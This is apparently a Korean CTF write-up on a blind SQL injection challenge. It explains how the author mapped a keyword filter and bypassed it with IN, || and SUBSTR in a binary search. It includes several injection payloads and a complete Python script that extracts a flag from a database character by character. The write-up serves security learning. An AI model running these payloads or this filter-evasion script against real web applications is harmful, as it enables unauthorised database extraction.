블라인드 SQLi에서 IN 하나로 살아남기블라인드 SQLi에서 IN 하나로 살아남기

블라인드 SQLi에서 IN 하나로 살아남기

태그
cyber security
SQL
생성 일시
Jul 10, 2026 03:48 PM
최종 편집 일시
Last updated July 10, 2026
Date

서론

CTF의 블라인드 SQL 인젝션 문제를 풀다 보면, 처음에는 익숙한 페이로드를 던지다가 어느 순간 벽에 부딪히는 지점이 온다. 이번에 마주한 문제가 정확히 그랬다. UNION이 막혀 있었고, SUBSTRING이 막혀 있었으며, 심지어 =, <, > 같은 비교 연산자마저 필터에 걸렸다. 무언가를 뽑아내려면 값을 비교해야 하는데, 비교의 수단이 통째로 사라진 상황이었다.
결론부터 말하면, 이 문제는 IN 연산자 하나와 || 문자열 연결, 그리고 SUBSTR이라는 단 세 가지 무기만으로 풀린다. 본 글은 어떤 필터에 막혀 어떻게 우회 경로를 찾았는지, 그 사고 과정을 순서대로 기록한 것이다.

대상 확인과 초기 실패

MD5 해시가 담긴 flag를 추출하는 전형적인 블라인드 SQLi 문제였다. flag는 flag{...} 형식이고 중괄호 안은 32자리 16진수, 즉 0-9a-f로 이루어진 MD5 값이다.
가장 먼저 시도한 것은 익숙한 UNION SELECT였다.
' UNION SELECT flag FROM secret WHERE SUBSTRING(flag, 1, 1) = 'f' #
UNION이 막혀 있었다. 그 다음으로 서브쿼리 기반 참/거짓 판별을 시도했다.
' || SUBSTRING((SELECT flag FROM secret), 1, 1) = 'f' #

필터의 윤곽을 그리다

무엇이 통과하는지를 하나씩 테스트해서 필터의 지도를 그리기로 했다. 참/거짓을 구분하는 오라클을 기준으로, 알려진 참 조건과 거짓 조건을 던져 응답 차이를 관찰했다.
테스트 끝에 정리된 차단된 함수 및 연산자 목록은 다음과 같다.

차단된 것들

  • UNION : 합집합 기반 데이터 추출 차단
  • =, <, > : 비교 연산자 전부 차단. 1=1조차 통과하지 못함
  • SUBSTRING : 콤마 문법(SUBSTRING(x,1,1)), ANSI 문법(SUBSTRING(x FROM 1 FOR 1)) 모두 차단
  • LEFT, RIGHT, MID : 문자 추출 계열 함수 차단
  • CONCAT, CONCAT_WS : 문자열 연결 함수 차단
  • CHAR, ELT : 문자 조립 계열 차단
  • LIKE, REGEXP, RLIKE : 패턴 매칭 계열 차단

살아남은 것들

  • IN : 멤버십 판별. 내부적으로 등호 비교를 하지만 = 기호 없이 사용 가능하다는 점이 핵심
  • || : 문자열 연결로 동작 ('a'||'b''ab'로 평가됨)
  • SUBSTR(x, pos, 1) : 유일하게 통과한 문자 추출 함수
=가 막혔는데 IN이 통과한다는 점이 이 문제의 핵심이다. IN은 값의 일치 여부를 판별하지만 비교 연산자 기호를 문법에 노출하지 않기 때문에, 기호 기반 필터를 자연스럽게 우회한다. 그리고 문자 추출 함수가 대부분 죽은 상황에서 SUBSTR 하나가 살아남은 것이, 위치별 글자 추출을 가능하게 해준 결정적 열쇠였다.

전략: IN 기반 이분 탐색

무기가 정해졌으니 전략은 명확해진다. SUBSTR로 flag의 특정 위치 글자를 뽑고, 그 글자가 어떤 문자 집합에 속하는지를 IN으로 묻는다. 이때 매 요청마다 후보 문자 집합을 절반으로 줄이는 이분 탐색을 적용하면, 글자 하나당 log₂(N)번의 요청으로 값을 확정할 수 있다.
핵심 아이디어는 이렇다. 문자 집합을 정렬해두고, 중앙값(pivot)보다 큰 절반을 IN 절에 나열한다. 서버 응답이 참이면 찾는 글자가 뒤쪽 절반에, 거짓이면 앞쪽 절반에 있다는 뜻이다. 여기서 대소 비교(c > pivot)는 파이썬이 대신 수행하므로, SQL에는 부등호가 전혀 등장하지 않는다. 필터를 건드리지 않고도 대소 판별의 효과만 취하는 셈이다.
주입되는 페이로드는 다음 형태가 된다.
' || SUBSTR((SELECT flag FROM secret LIMIT 1), 1, 1) IN ('f', 'g', 'l', '{', '}') #
SUBSTR로 1번째 글자를 뽑고, 그 글자가 나열된 후보 중 하나인지를 IN으로 판별한다. 참이면 다음 요청에서 후보를 더 좁히고, 거짓이면 반대쪽으로 좁힌다. 이 과정을 위치를 옮겨가며 반복하면 flag 전체가 한 글자씩 드러난다.

완성 코드

아래는 최종적으로 사용한 스크립트다. make_bisect_condition이 이분 탐색의 한 스텝에 해당하는 IN 조건을 생성하고, extract_char가 특정 위치의 글자를 이분 탐색으로 확정한다.
import requests import string BASE_URL = "<url>" cookie = {"PHPSESSID" : "<yr session>"} md5_value = list(map(str, range(10))) + list(string.ascii_lowercase[:6]) + ['{', '}'] # + list("flag") print(md5_value) result = [] def make_bisect_condition(pos, pivot, charset): greater = [c for c in charset if c > pivot] if not greater: return None matched = ", ".join(f"'{c}'" for c in greater) subq = "(SELECT flag FROM secret LIMIT 1)" char_expr = f"SUBSTR({subq},{pos},1)" return f"{char_expr} IN ({matched})" # matched = ", ".join(f"'{c}'" for c in greater) # subq = "(SELECT <column> FROM <table> LIMIT 1)" # char_expr = f"RIGHT(LEFT({subq}, {pos}), 1)" # return f"{char_expr} IN ({matched})" # codes = ", ".join(str(ord(c)) for c in greater) # subq = "(SELECT flag FROM secret LIMIT 1)" # char_expr = f"ORD(RIGHT(LEFT({subq}, {pos}), 1))" # return f"{char_expr} IN ({codes})" # matched = ", ".join(f"'{c}'" for c in greater) # subq = "(SELECT flag FROM secret LIMIT 1)" # char_expr = f"BINARY RIGHT(LEFT({subq}, {pos}), 1)" # return f"{char_expr} IN ({matched})" # hexes = ", ".join(f"'{ord(c):02X}'" for c in greater) # subq = "(SELECT flag FROM secret LIMIT 1)" # char_expr = f"HEX(RIGHT(LEFT({subq}, {pos}), 1))" # return f"{char_expr} IN ({hexes})" def extract_char(pos, send, is_true, charset): charset = sorted(set(charset)) lo, hi = 0, len(charset) - 1 while lo < hi: mid = (lo + hi) // 2 pivot = charset[mid] cond = make_bisect_condition(pos, pivot, charset) payload = f"' || {cond} # " print(payload) if is_true(send(payload)): lo = mid + 1 else: hi = mid return charset[lo] def make_sender(url, cookie): def send(payload): r = requests.get(url, params={"id": payload}, cookies=cookie) # print(f"[URL] {r.url}") # print(f"[STATUS] {r.status_code}") if r.status_code != 200: raise ValueError(r.status_code) return r.text return send send = make_sender( url=BASE_URL, cookie=cookie, ) for i in range(5, 39): result.append(extract_char(i, send=send, is_true=lambda x: "<option>" in x, charset=md5_value)) print("".join(list(map(str, result))))